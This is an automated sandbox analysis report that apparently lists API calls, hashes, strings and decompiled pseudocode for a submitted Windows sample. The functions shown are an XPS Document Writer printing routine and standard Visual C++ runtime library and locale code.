Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 02a1bb7727a0f7115b6939d8eef13fd8610c8fe5b508d5bd05e80513f9efad46
Instruction ID: ddaf229119621c224e94521efe65336f49ffec0607ee660f8c10403ef55b7511
Opcode Fuzzy Hash: 02a1bb7727a0f7115b6939d8eef13fd8610c8fe5b508d5bd05e80513f9efad46
Instruction Fuzzy Hash: B3D05EB4D00608FFDB40EFA4D90AB9CBBB8FF08702F108164EA04A7380E6701B44CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00811820, Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 0081182F

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 2904067849bc946eb2032ead802b78af5e3ce47a10292a06547cfd8b08ba40e0
Instruction ID: bc5cd023026cc30d885e38a51026b466f9047763849be30f0992dbf05531b7c8
Opcode Fuzzy Hash: 2904067849bc946eb2032ead802b78af5e3ce47a10292a06547cfd8b08ba40e0
Instruction Fuzzy Hash: 66C04C7A11420CAB8B04DF98EC84DEB37EDBB8C650B04C508BA1D87200C630F9108BA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01141850, Relevance: 49.3, APIs: 22, Strings: 6, Instructions: 345
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E01141850(void* __ebx, void* __ecx, void* __eflags) {
				void* __edi;
				void* __esi;
				signed int _t130;
				int _t138;
				int _t140;
				void* _t146;
				struct HDC__* _t152;
				int _t158;
				int _t161;
				int _t166;
				int _t169;
				int _t172;
				int _t181;
				int _t184;
				int _t186;
				int _t187;
				int _t192;
				int _t195;
				int _t197;
				void* _t200;
				void* _t201;
				signed int _t203;
				void* _t224;
				void* _t225;
				void* _t227;
				void* _t228;
				signed int _t229;
				void* _t230;
				void* _t234;
				void* _t240;

				_t201 = __ecx;
				_t200 = __ebx;
				_t229 = _t230;
				_t130 =  *0x1169060; // 0x43153b94
				 *(_t229 - 4) = _t130 ^ _t229;
				 *(_t229 - 0x318) = 0;
				 *(_t229 - 0x314) = 0;
				 *(_t229 - 0x310) = 0;
				E01149280(_t229 - 0x30c, 0, 0x204);
				 *(_t229 - 0x31c) = 0;
				 *(_t229 - 0x324) = 0;
				 *(_t229 - 0x350) = 0;
				 *(_t229 - 0x320) = 0;
				 *(_t229 - 0x35c) = 0;
				 *(_t229 - 0x344) = 0;
				 *(_t229 - 0x34c) = 0;
				 *(_t229 - 0x340) = 0;
				 *(_t229 - 0x354) = 0;
				_push(_t201);
				_t203 = 0xa;
				_t227 = "/Documents/1/Resources/Images/image1.jpg";
				memcpy(_t229 - 0x108, _t227, _t203 << 2);
				_t224 = _t227 + _t203 + _t203;
				asm("movsb");
				_t205 = _t229 - 0xdf;
				E01149280(_t229 - 0xdf, 0, 0xdb);
				_t234 = _t230 - 0x374 + 0x24;
				 *(_t229 - 0x330) = "<FixedPage Width=\"816\" Height=\"1056\" xmlns=\"http://schemas.microsoft.com/xps/2005/06\" xml:lang=\"und\"><Path Data=\"M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z\"><Path.Fill><ImageBrush ImageSource=\"/Documents/1/Resources/Images/image1.jpg\" Viewbox=\"0,0,256,384\" TileMode=\"None\" ViewboxUnits=\"Absolute\" ViewportUnits=\"Absolute\" Viewport=\"100.00,100.00,340.48,513.44\" /></Path.Fill></Path></FixedPage>";
				_push(L"Microsoft XPS Document Writer");
				_push(0x100);
				_t218 = _t229 - 0x308;
				_push(_t229 - 0x308);
				 *(_t229 - 0x314) = E01141E30(_t229 - 0xdf);
				if( *(_t229 - 0x314) >= 0) {
					_push(_t229 - 0x31c);
					_t205 = _t229 - 0x310;
					_push(_t229 - 0x310);
					E01143110();
					_t234 = _t234 + 8;
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 = _t229 - 0x350;
					_t205 =  *(_t229 - 0x31c);
					_t197 = E011431C0( *(_t229 - 0x31c), _t229 - 0x324, _t229 - 0x350);
					_t234 = _t234 + 0xc;
					 *(_t229 - 0x314) = _t197;
				}
				if( *(_t229 - 0x314) >= 0) {
					_push(_t229 - 0x35c);
					_push(_t229 - 0x320);
					_t205 =  *(_t229 - 0x350);
					_push( *(_t229 - 0x350));
					_t218 =  *(_t229 - 0x324);
					_push( *(_t229 - 0x324));
					_push(0x18);
					_t195 = E01141360();
					_t234 = _t234 + 0x14;
					 *(_t229 - 0x314) = _t195;
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x318) = CreateDCW(0, _t229 - 0x308, 0, 0);
					if( *(_t229 - 0x318) == 0) {
						 *(_t229 - 0x360) = GetLastError();
						E01148840(_t218, 0x6c);
						_t240 = _t234 + 4;
						if( *(_t229 - 0x360) == 0x709) {
							E01148840(_t218, 0x6a);
							_t240 = _t240 + 4;
						}
						_t205 =  *(_t229 - 0x360);
						_push( *(_t229 - 0x360));
						_t192 = E01141730( *(_t229 - 0x360));
						_t234 = _t240 + 4;
						 *(_t229 - 0x314) = _t192;
					}
				}
				_t248 =  *(_t229 - 0x314);
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x318);
					_push( *(_t229 - 0x318));
					_t187 = E011412A0(_t200, _t224, _t227, _t248);
					_t234 = _t234 + 4;
					 *(_t229 - 0x314) = _t187;
				}
				if( *(_t229 - 0x314) == 0) {
					 *(_t229 - 0x374) = 0x14;
					 *((intOrPtr*)(_t229 - 0x370)) = L"Fixed Page PrintTicket Sample";
					 *(_t229 - 0x36c) = 0;
					 *(_t229 - 0x368) = 0;
					 *(_t229 - 0x364) = 0;
					_t205 =  *(_t229 - 0x318);
					_t138 = StartDocW( *(_t229 - 0x318), _t229 - 0x374);
					__eflags = _t138;
					if(_t138 <= 0) {
						_push(GetLastError());
						_t140 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t140;
					} else {
						 *(_t229 - 0x34c) = 1;
					}
				} else {
					E01148840(_t218, 0x6d);
					_push(0x32);
					_t186 = E01141730(_t205);
					_t234 = _t234 + 8;
					 *(_t229 - 0x314) = _t186;
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x318);
					if(StartPage( *(_t229 - 0x318)) <= 0) {
						_push(GetLastError());
						_t184 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t184;
					} else {
						 *(_t229 - 0x344) = 1;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					_t205 =  *(_t229 - 0x35c);
					_t218 =  *(_t229 - 0x318);
					if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x35c),  *(_t229 - 0x320), 0, 0) <= 0) {
						_push(GetLastError());
						_t181 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t181;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x338) = 0;
					 *(_t229 - 0x32c) = 0;
					 *(_t229 - 0x328) = FindResourceW(0, L"#201", L"JPGIMAGE");
					if( *(_t229 - 0x328) == 0) {
						_push(GetLastError());
						_t169 = E01141730(_t205);
						_t234 = _t234 + 4;
						 *(_t229 - 0x314) = _t169;
					} else {
						 *(_t229 - 0x338) = SizeofResource(0,  *(_t229 - 0x328));
						 *(_t229 - 0x358) = LoadResource(0,  *(_t229 - 0x328));
						if( *(_t229 - 0x358) != 0) {
							_t218 =  *(_t229 - 0x358);
							 *(_t229 - 0x32c) = LockResource( *(_t229 - 0x358));
						}
					}
					if( *(_t229 - 0x314) >= 0) {
						_t218 = _t229 - 0x108;
						_t172 = E01141470(0x1e,  *(_t229 - 0x32c),  *(_t229 - 0x338), _t229 - 0x108, _t229 - 0x340, _t229 - 0x354);
						_t234 = _t234 + 0x18;
						 *(_t229 - 0x314) = _t172;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					_t218 =  *(_t229 - 0x340);
					_t214 =  *(_t229 - 0x318);
					if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x354),  *(_t229 - 0x340), 0, 0) <= 0) {
						E01148840(_t218, 0x6e);
						_push(GetLastError());
						_t166 = E01141730(_t214);
						_t234 = _t234 + 8;
						 *(_t229 - 0x314) = _t166;
					}
				}
				if( *(_t229 - 0x314) >= 0) {
					 *(_t229 - 0x348) = 0;
					 *(_t229 - 0x334) = 0;
					 *(_t229 - 0x33c) = 0;
					_t218 =  *(_t229 - 0x330);
					_t152 = E011493A0( *(_t229 - 0x330));
					_t234 = _t234 + 4;
					 *(_t229 - 0x348) = _t152;
					if( *(_t229 - 0x314) >= 0) {
						_push(_t229 - 0x33c);
						_push(_t229 - 0x334);
						_t218 =  *(_t229 - 0x348);
						_push( *(_t229 - 0x348));
						_push( *(_t229 - 0x330));
						_push(0x1c);
						_t161 = E011415C0();
						_t234 = _t234 + 0x14;
						 *(_t229 - 0x314) = _t161;
					}
					if( *(_t229 - 0x314) >= 0) {
						_t212 =  *(_t229 - 0x334);
						_t218 =  *(_t229 - 0x33c);
						if(ExtEscape( *(_t229 - 0x318), 0x101a,  *(_t229 - 0x33c),  *(_t229 - 0x334), 0, 0) <= 0) {
							E01148840(_t218, 0x6e);
							_push(GetLastError());
							_t158 = E01141730(_t212);
							_t234 = _t234 + 8;
							 *(_t229 - 0x314) = _t158;
						}
					}
				}
				if( *(_t229 - 0x344) != 0) {
					EndPage( *(_t229 - 0x318));
				}
				if( *(_t229 - 0x34c) != 0) {
					_t218 =  *(_t229 - 0x318);
					EndDoc( *(_t229 - 0x318));
				}
				if( *(_t229 - 0x320) != 0) {
					if( *(_t229 - 0x320) != 0) {
						LocalFree( *(_t229 - 0x320));
					}
					 *(_t229 - 0x320) = 0;
				}
				if( *(_t229 - 0x324) != 0) {
					__imp__CoTaskMemFree( *(_t229 - 0x324));
					 *(_t229 - 0x324) = 0;
				}
				if( *(_t229 - 0x31c) != 0) {
					_t146 =  *( *(_t229 - 0x31c));
					_t218 =  *(_t146 + 8);
					 *( *(_t146 + 8))( *(_t229 - 0x31c));
					 *(_t229 - 0x31c) = 0;
				}
				if( *(_t229 - 0x318) != 0) {
					DeleteDC( *(_t229 - 0x318));
					 *(_t229 - 0x318) = 0;
				}
				_push(_t229 - 0x310);
				E011430C0(_t229 - 0x310);
				_pop(_t225);
				_pop(_t228);
				return E0114942B(_t200,  *(_t229 - 4) ^ _t229, _t218, _t225, _t228);
			}

0x01141850
0x01141850
0x01141852
0x01141859
0x01141860
0x01141865
0x0114186f
0x01141879
0x01141891
0x01141899
0x011418a3
0x011418ad
0x011418b7
0x011418c1
0x011418cb
0x011418d5
0x011418df
0x011418e9
0x011418f3
0x011418f7
0x011418f8
0x01141903
0x01141903
0x01141905
0x0114190d
0x01141914
0x01141919
0x0114191c
0x01141926
0x0114192b
0x01141930
0x01141936
0x0114193c
0x01141949
0x01141951
0x01141952
0x01141958
0x01141959
0x0114195e
0x0114195e
0x01141968
0x0114196a
0x01141978
0x0114197f
0x01141984
0x01141987
0x01141987
0x01141994
0x0114199c
0x011419a3
0x011419a4
0x011419aa
0x011419ab
0x011419b1
0x011419b2
0x011419b4
0x011419b9
0x011419bc
0x011419bc
0x011419c9
0x011419de
0x011419eb
0x011419f3
0x011419fb
0x01141a00
0x01141a0d
0x01141a11
0x01141a16
0x01141a16
0x01141a19
0x01141a1f
0x01141a20
0x01141a25
0x01141a28
0x01141a28
0x011419eb
0x01141a2e
0x01141a35
0x01141a37
0x01141a3d
0x01141a3e
0x01141a43
0x01141a46
0x01141a46
0x01141a53
0x01141a71
0x01141a7b
0x01141a85
0x01141a8f
0x01141a99
0x01141aaa
0x01141ab1
0x01141ab7
0x01141ab9
0x01141acd
0x01141ace
0x01141ad3
0x01141ad6
0x01141abb
0x01141abb
0x01141abb
0x01141a55
0x01141a57
0x01141a5f
0x01141a61
0x01141a66
0x01141a69
0x01141a69
0x01141ae3
0x01141ae5
0x01141af4
0x01141b08
0x01141b09
0x01141b0e
0x01141b11
0x01141af6
0x01141af6
0x01141af6
0x01141af4
0x01141b1e
0x01141b2b
0x01141b37
0x01141b46
0x01141b4e
0x01141b4f
0x01141b54
0x01141b57
0x01141b57
0x01141b46
0x01141b64
0x01141b6a
0x01141b74
0x01141b90
0x01141b9d
0x01141bed
0x01141bee
0x01141bf3
0x01141bf6
0x01141b9f
0x01141bae
0x01141bc3
0x01141bd0
0x01141bd2
0x01141bdf
0x01141bdf
0x01141be5
0x01141c03
0x01141c13
0x01141c2a
0x01141c2f
0x01141c32
0x01141c32
0x01141c03
0x01141c3f
0x01141c45
0x01141c58
0x01141c67
0x01141c6b
0x01141c79
0x01141c7a
0x01141c7f
0x01141c82
0x01141c82
0x01141c67
0x01141c8f
0x01141c95
0x01141c9f
0x01141ca9
0x01141cb3
0x01141cba
0x01141cbf
0x01141cc2
0x01141ccf
0x01141cd7
0x01141cde
0x01141cdf
0x01141ce5
0x01141cec
0x01141ced
0x01141cef
0x01141cf4
0x01141cf7
0x01141cf7
0x01141d04
0x01141d0a
0x01141d11
0x01141d2c
0x01141d30
0x01141d3e
0x01141d3f
0x01141d44
0x01141d47
0x01141d47
0x01141d2c
0x01141d04
0x01141d54
0x01141d5d
0x01141d5d
0x01141d6a
0x01141d6c
0x01141d73
0x01141d73
0x01141d80
0x01141d89
0x01141d92
0x01141d92
0x01141d98
0x01141d98
0x01141da9
0x01141db2
0x01141db8
0x01141db8
0x01141dc9
0x01141dd1
0x01141dda
0x01141ddd
0x01141ddf
0x01141ddf
0x01141df0
0x01141df9
0x01141dff
0x01141dff
0x01141e0f
0x01141e10
0x01141e1e
0x01141e1f
0x01141e2d

APIs

CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 011419D8
GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 011419ED
StartDocW.GDI32(00000000,00000014), ref: 01141AB1
GetLastError.KERNEL32 ref: 01141AC7
StartPage.GDI32(00000000), ref: 01141AEC
GetLastError.KERNEL32 ref: 01141B02
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141B3E
GetLastError.KERNEL32 ref: 01141B48

Part of subcall function 01143110: LocalFree.KERNEL32(00000000,00000100,Microsoft XPS Document Writer), ref: 01143164

FindResourceW.KERNEL32(00000000,#201,JPGIMAGE), ref: 01141B8A
SizeofResource.KERNEL32(00000000,00000000), ref: 01141BA8
LoadResource.KERNEL32(00000000,00000000), ref: 01141BBD
LockResource.KERNEL32(00000000), ref: 01141BD9
GetLastError.KERNEL32 ref: 01141BE7
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141C5F
GetLastError.KERNEL32 ref: 01141C73
ExtEscape.GDI32(00000000,0000101A,00000000,00000000,00000000,00000000), ref: 01141D24
GetLastError.KERNEL32 ref: 01141D38
EndPage.GDI32(00000000), ref: 01141D5D
EndDoc.GDI32(00000000), ref: 01141D73
LocalFree.KERNEL32(00000000), ref: 01141D92
CoTaskMemFree.OLE32(00000000), ref: 01141DB2
DeleteDC.GDI32(00000000), ref: 01141DF9

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

Strings

JPGIMAGE, xrefs: 01141B7E
Fixed Page PrintTicket Sample, xrefs: 01141A7B
Microsoft XPS Document Writer, xrefs: 01141926
<FixedPage Width="816" Height="1056" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und"><Path Data="M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z"><Path.Fill><ImageBrush ImageSource="/Documents/1/Resources/Images/image1.jpg" Viewbo, xrefs: 0114191C, 01141CB9, 01141CEC
#201, xrefs: 01141B83
/Documents/1/Resources/Images/image1.jpg, xrefs: 011418F8

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast$Resource$EscapeFree$LoadLocalPageStart$CreateDeleteFindHandleLockModuleSizeofStringTask
String ID: #201$/Documents/1/Resources/Images/image1.jpg$<FixedPage Width="816" Height="1056" xmlns="http://schemas.microsoft.com/xps/2005/06" xml:lang="und"><Path Data="M 100.00,100.00 L 440.48,100.00 440.48,613.44 100.00,613.44 z"><Path.Fill><ImageBrush ImageSource="/Documents/1/Resources/Images/image1.jpg" Viewbo$Fixed Page PrintTicket Sample$JPGIMAGE$Microsoft XPS Document Writer
API String ID: 4206494932-1711864343
Opcode ID: 245b7bee52e6998bd2010dc152fc6dca04edb459494fbe172706c5a6f8c7e0c3
Instruction ID: f2e5ffc647414e6a4135335598b24a63066e7b13e31236ad30e29e4264e646ba
Opcode Fuzzy Hash: 245b7bee52e6998bd2010dc152fc6dca04edb459494fbe172706c5a6f8c7e0c3
Instruction Fuzzy Hash: 56F110B5D0122DEBDB2ADF64DC49BDA77BCAB08B09F0440E8E109A6180D7756BC5CF61

Uniqueness

Uniqueness Score: -1.00%

Function 01155B25, Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 175libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,0116AE10,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B4D
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000800,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B73
GetLastError.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155B7F
LoadLibraryExW.KERNEL32(USER32.DLL,00000000,00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010), ref: 01155B95
GetProcAddress.KERNEL32(00000000,MessageBoxW), ref: 01155BAB
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BBA
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 01155BC7
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BCE
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 01155BDB
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BE2
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationW), ref: 01155BEF
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155BF6
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 01155C07
EncodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C0E
IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C18
OutputDebugStringW.KERNEL32(?,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C2A
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C48
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155C6A
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155C75
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155CBA
DecodePointer.KERNEL32(00000000,?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42), ref: 01155CD2
DecodePointer.KERNEL32(?,?,?,?,?,?,0114D78A,0116AE10,Microsoft Visual C++ Runtime Library,00012010,?,?,?,?,0116AE42,00000104), ref: 01155CE6

Strings

GetLastActivePopup, xrefs: 01155BD0
MessageBoxW, xrefs: 01155BA5
GetProcessWindowStation, xrefs: 01155C01
GetActiveWindow, xrefs: 01155BBC
GetUserObjectInformationW, xrefs: 01155BE4
USER32.DLL, xrefs: 01155B6E, 01155B90

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID: Pointer$DecodeEncode$AddressProc$LibraryLoad$DebugDebuggerErrorLastOutputPresentString
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL
API String ID: 3166169540-564504941
Opcode ID: 283a0ea000e53c48fa05b705ed48c931904bbae40d02d6eefa53e23f5aa6a850
Instruction ID: 92417a344092ed3b1520f8e3bf37551b9b4d95003110ce9d0ee7eeced78dd417
Opcode Fuzzy Hash: 283a0ea000e53c48fa05b705ed48c931904bbae40d02d6eefa53e23f5aa6a850
Instruction Fuzzy Hash: A0519571A00306EFDBA8DBB99C44A6F7BAEFF04740B580129FA25E3144DB75D581CB64

Uniqueness

Uniqueness Score: -1.00%

Function 01155632, Relevance: 10.7, APIs: 7, Instructions: 191
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E01155632(void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t40;
				signed int _t49;
				signed int _t50;
				signed int _t52;
				signed int _t53;
				int _t54;
				signed short* _t65;
				signed int _t79;
				intOrPtr _t82;
				signed int _t84;
				signed int _t85;
				intOrPtr _t92;
				signed int* _t96;
				void* _t97;
				short* _t98;
				signed int _t100;
				void* _t109;
				signed int* _t110;
				void* _t111;
				signed int _t115;
				void* _t116;
				signed short _t119;
				signed short _t120;
				signed int _t121;
				void* _t122;
				void* _t124;

				_t109 = __edx;
				_t121 = _t122;
				_t40 =  *0x1169060; // 0x43153b94
				 *(_t121 - 4) = _t40 ^ _t121;
				 *(_t121 - 0x18) =  *(_t121 + 0xc);
				_push(_t110);
				 *(_t121 - 0x14) =  *(_t121 + 0x10);
				_t7 = E0114C25F() + 0x9c; // 0x9c
				_t96 = _t7;
				E01149280(_t121 - 0x10, 0, 0xc);
				_t124 = _t122 - 0x18 + 0xc;
				 *((intOrPtr*)(E0114C25F() + 0x3b8)) = _t121 - 0x10;
				_t115 =  *(_t121 + 8);
				if(_t115 != 0) {
					_t13 = _t115 + 0x80; // 0x80
					_t49 = _t13;
					 *_t96 = _t115;
					_t14 =  &(_t96[1]); // 0xa0
					_t110 = _t14;
					_t100 = 0;
					 *_t110 = _t49;
					_t50 = _t49;
					__eflags = _t50;
					if(_t50 != 0) {
						__eflags =  *_t50;
						if( *_t50 != 0) {
							_t92 =  *0x1164a50; // 0x17
							E01154DDE(0x1164778, _t92 - 1, _t110);
							_t124 = _t124 + 0xc;
							_t100 = 0;
							__eflags = 0;
						}
					}
					 *(_t121 - 0x10) = _t100;
					_t52 =  *_t96;
					__eflags = _t52;
					if(_t52 == 0) {
						L17:
						_t53 =  *_t110;
						__eflags = _t53;
						if(_t53 == 0) {
							L21:
							 *(_t121 - 0x10) = 0x104;
							L22:
							_t54 = GetUserDefaultLCID();
							 *(_t121 - 0xc) = _t54;
							 *(_t121 - 8) = _t54;
							goto L23;
						}
						__eflags =  *_t53 - _t100;
						if(__eflags == 0) {
							goto L21;
						}
						E011550BC(__eflags, _t121 - 0x10);
						goto L20;
					} else {
						__eflags =  *_t52 - _t100;
						if( *_t52 == _t100) {
							goto L17;
						}
						_t79 =  *_t110;
						__eflags = _t79;
						if(__eflags == 0) {
							L10:
							_push(_t121 - 0x10);
							E01155179(__eflags);
							L11:
							__eflags =  *(_t121 - 0x10);
							if( *(_t121 - 0x10) != 0) {
								L24:
								_push(_t121 - 0x10);
								_t27 = _t115 + 0x100; // 0x100
								asm("sbb esi, esi");
								_push( ~_t115 & _t27);
								_push(E0115551B());
								_pop(_t119);
								_t120 = _t119;
								if(_t120 == 0 || _t120 == 0xfde8 || _t120 == 0xfde9 || IsValidCodePage(_t120 & 0x0000ffff) == 0 || IsValidLocale( *(_t121 - 0xc), 1) == 0) {
									L36:
									__eflags = 0;
									goto L37;
								} else {
									_t65 =  *(_t121 - 0x18);
									if(_t65 != 0) {
										 *_t65 = _t120;
									}
									_t30 =  &(_t96[0x94]); // 0x2ec
									E01150C48(_t96, _t110, _t120,  *(_t121 - 0xc), _t30, 0x55);
									_t98 =  *(_t121 - 0x14);
									if(_t98 == 0) {
										L35:
										L37:
										_pop(_t111);
										_pop(_t116);
										_pop(_t97);
										return E0114942B(_t97,  *(_t121 - 4) ^ _t121, _t109, _t111, _t116);
									} else {
										E01150C48(_t98, _t110, _t120,  *(_t121 - 0xc),  &(_t98[0x90]), 0x55);
										if(GetLocaleInfoW( *(_t121 - 0xc), 0x1001, _t98, 0x40) == 0 || GetLocaleInfoW( *(_t121 - 8), 0x1002,  &(_t98[0x40]), 0x40) == 0) {
											goto L36;
										} else {
											_push(0xa);
											_push(0x10);
											_push( &(_t98[0x80]));
											_push(_t120);
											E01156EE4();
											goto L35;
										}
									}
								}
							}
							_t82 =  *0x1164a4c; // 0x41
							_t84 = E01154DDE(0x1163cc8, _t82 - 1, _t96);
							_t124 = _t124 + 0xc;
							__eflags = _t84;
							if(_t84 == 0) {
								L23:
								if( *(_t121 - 0x10) == 0) {
									goto L36;
								}
								goto L24;
							}
							_t85 =  *_t110;
							__eflags = _t85;
							if(__eflags == 0) {
								L16:
								_push(_t121 - 0x10);
								E01155179(__eflags);
								L20:
								goto L23;
							}
							__eflags =  *_t85;
							if(__eflags == 0) {
								goto L16;
							}
							E011550FC(__eflags, _t121 - 0x10);
							goto L20;
						}
						__eflags =  *_t79 - _t100;
						if(__eflags == 0) {
							goto L10;
						}
						E011550FC(__eflags, _t121 - 0x10);
						goto L11;
					}
				}
				 *(_t121 - 0x10) =  *(_t121 - 0x10) | 0x00000104;
				goto L22;
			}

0x01155632
0x01155634
0x01155638
0x0115563f
0x0115564a
0x01155650
0x01155651
0x0115565b
0x0115565b
0x01155668
0x0115566d
0x01155678
0x0115567e
0x01155680
0x0115568e
0x0115568e
0x01155694
0x01155696
0x01155696
0x01155699
0x0115569b
0x0115569d
0x0115569d
0x0115569f
0x011556a1
0x011556a4
0x011556a6
0x011556b3
0x011556b8
0x011556bb
0x011556bb
0x011556bb
0x011556a4
0x011556bd
0x011556c2
0x011556c2
0x011556c4
0x0115572d
0x0115572d
0x0115572f
0x01155731
0x01155744
0x01155744
0x0115574b
0x0115574b
0x01155751
0x01155754
0x00000000
0x01155754
0x01155733
0x01155736
0x00000000
0x00000000
0x0115573c
0x00000000
0x011556c6
0x011556c6
0x011556c9
0x00000000
0x00000000
0x011556cb
0x011556cd
0x011556cf
0x011556e1
0x011556e4
0x011556e5
0x011556ea
0x011556ea
0x011556ef
0x01155761
0x01155764
0x01155765
0x0115576d
0x01155771
0x01155777
0x01155778
0x0115577b
0x0115577d
0x0115583b
0x0115583b
0x00000000
0x011557bc
0x011557bf
0x011557c1
0x011557c3
0x011557c3
0x011557c7
0x011557d1
0x011557d6
0x011557de
0x01155836
0x0115583d
0x01155840
0x01155841
0x01155844
0x0115584d
0x011557e0
0x011557ec
0x01155809
0x00000000
0x01155822
0x01155822
0x01155824
0x0115582c
0x0115582d
0x0115582e
0x00000000
0x01155833
0x01155809
0x011557de
0x0115577d
0x011556f1
0x011556fe
0x01155703
0x01155706
0x01155708
0x01155757
0x0115575b
0x00000000
0x00000000
0x00000000
0x0115575b
0x0115570a
0x0115570c
0x0115570e
0x01155722
0x01155725
0x01155726
0x01155741
0x00000000
0x01155741
0x01155712
0x01155715
0x00000000
0x00000000
0x0115571b
0x00000000
0x0115571b
0x011556d1
0x011556d4
0x00000000
0x00000000
0x011556da
0x00000000
0x011556da
0x011556c4
